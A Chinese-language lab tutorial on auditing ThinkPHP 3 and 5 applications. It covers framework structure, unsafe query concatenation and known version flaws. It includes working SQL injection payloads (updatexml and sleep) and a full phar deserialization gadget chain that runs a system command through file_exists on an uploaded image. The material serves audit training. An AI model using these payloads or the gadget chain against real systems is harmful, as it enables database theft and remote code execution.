代码审计-PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

知识点:

1、PHP框架学习-ThinkPHP-架构&调试&路由&接受

2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞

PHP常见漏洞关键字:

bash 复制代码
SQL注入:
select insert update mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等 
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等

通用关键字:
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等

MVC不局限于语言,其他语言也都有。

MVC流程:

bash 复制代码
1、Controller截获用户发出的请求;
2、Controller调用Model完成状态的读写操作;
3、Controller把数据传递给View;
4、View渲染最终结果并呈献给用户。

MVC各层职能:

bash 复制代码
1、控制器Controller层--负责响应用户请求、准备数据,及决定如何展示数据。
2、模块Model层--管理业务逻辑和数据库逻辑。提供连接和操作数据库的抽象层(过滤一般都在这里)
3、视图View层--负责前端模版渲染数据,通过HTML方式呈现给用户(一般都是html静态文件,也有少部分php)

MVC对审计主要影响:

bash 复制代码
1、文件代码定位问题
2、代码过滤分析问题(Model层会过滤)
3、前端安全发现问题

MVC开发审计入口常见方法:

bash 复制代码
搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路
功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路
对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路
特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等。
工具法:后续讲到
调试法:动态调试

框架审计总结方向:

1、版本不安全写法怎么检测

bash 复制代码
-本地复现版本写法对比(不是官方写法就是不安全写法)
-参考官方开发手册写法

2、版本自身的漏洞怎么检测

bash 复制代码
-平常多关注此类框架漏洞
https://github.com/hughink/Thinkphp-All-vuln
-配合黑盒工具检测找入口

3、版本自身的漏洞怎么利用

bash 复制代码
根据漏洞提示找满足条件实现调用
满足条件:对应的函数点和可控变量

一、演示案例-PHP框架审计-ThinkPHP5-不安全写法&版本漏洞

搭建环境:

bash 复制代码
ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql

开发参考:

https://www.kancloud.cn/manual/thinkphp5_1/353946

1、解释TP框架开发的源码审计要点

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口文件

4、参考开发手册学习寻找URL对应文件









5、参考开发手册学习如何开启调试模式

bash 复制代码
开启调试模式:/config/app.php
'app_debug'              => true,
'app_trace'              => true,


6、参考开发手册学习官方写法和不安全写法。

数据库查询操作





官方写法 预编译机制

bash 复制代码
public function login(Request $request)
{
    $id=$request->param('id');
    $data=Db::table('cw_admin')->where('id',$id)->find();
    return $data['user'].'|'.$data['pass'];
}


从代码中看并无任何过滤,但是实际并不存在SQL注入。这就是框架和原生不同的地方。

不安全写法 拼接写法

bash 复制代码
public function login1(Request $request)
{
    $id=$request->param('id');
    $data=Db::table('cw_admin')->where("id = $id")->find();
    return $data['user'].'|'.$data['pass'];
}

报错注入语句:

bash 复制代码
/index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23


不安全写法 纯原生开发

版本漏洞 反序列化phar

bash 复制代码
public function file_check(Request $request)
{

    $filename=$request->param('f');
    file_exists($filename); 
}


反序列化:

bash 复制代码
index.php/index/xiaodi/file_check?f=phar://./1.png

二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:

bash 复制代码
Phpstudy_Pro+PHP7.3+Apache+Mysql

1、查看版本-thinkphp/base.php(搜version找)

bash 复制代码
define('THINK_VERSION', '5.0.24');




2、找不安全写法-搜where找拼接&黑盒工具

bash 复制代码
文件:application/bbs/controller/User.php
bash 复制代码
方法:xiaoxidel
参数:ids id

先登录看下路由地址

3、application/bbs/controller/User.php(需要注册个用户才能触发)

bash 复制代码
index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
问题在where语句是直接拼接SQL-where("id ={$id}")
如改为数组的传参就能修复此处问题-where("id",$id) 

黑盒工具-入口不安全写法-SQL注入

bash 复制代码
文件:application/bbs/controller/User.php
方法:home
参数:ids id
/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql


1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

bash 复制代码
const THINK_VERSION = '3.2.3';

2、版本漏洞-SQL注入

https://www.freebuf.com/articles/web/345544.html

3、找利用点-搜实现关键字

bash 复制代码
Application/Admin/Controller/ArticleController.class.php
$data = M('Article')->find(I('id'));




4、Poc构造-利用数据库监控组合注入

bash 复制代码
/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#


四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化

搭建环境:Phpstudy_Pro+PHP7.3+Apache+Mysql


1、查看版本-thinkphp/library/think/App.php(搜version找)

bash 复制代码
const VERSION = '5.1.41 LTS';

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

bash 复制代码
109.php
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }
    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");
        public function get()
        {
            $this->data = array("smi1e" => "notepad");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    $phar = new Phar('x.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>


3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

路由逻辑分析



bash 复制代码
/admin.php/update/rmdirr.html?
dirname=phar://./public/upload/menubg/6543297dcccb9.png

实战当中需要前台注册一个用户上传jpg文件(把phar后缀改为png后缀)

相关推荐
BingoGo7 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack8 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack3 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082854 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe4 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5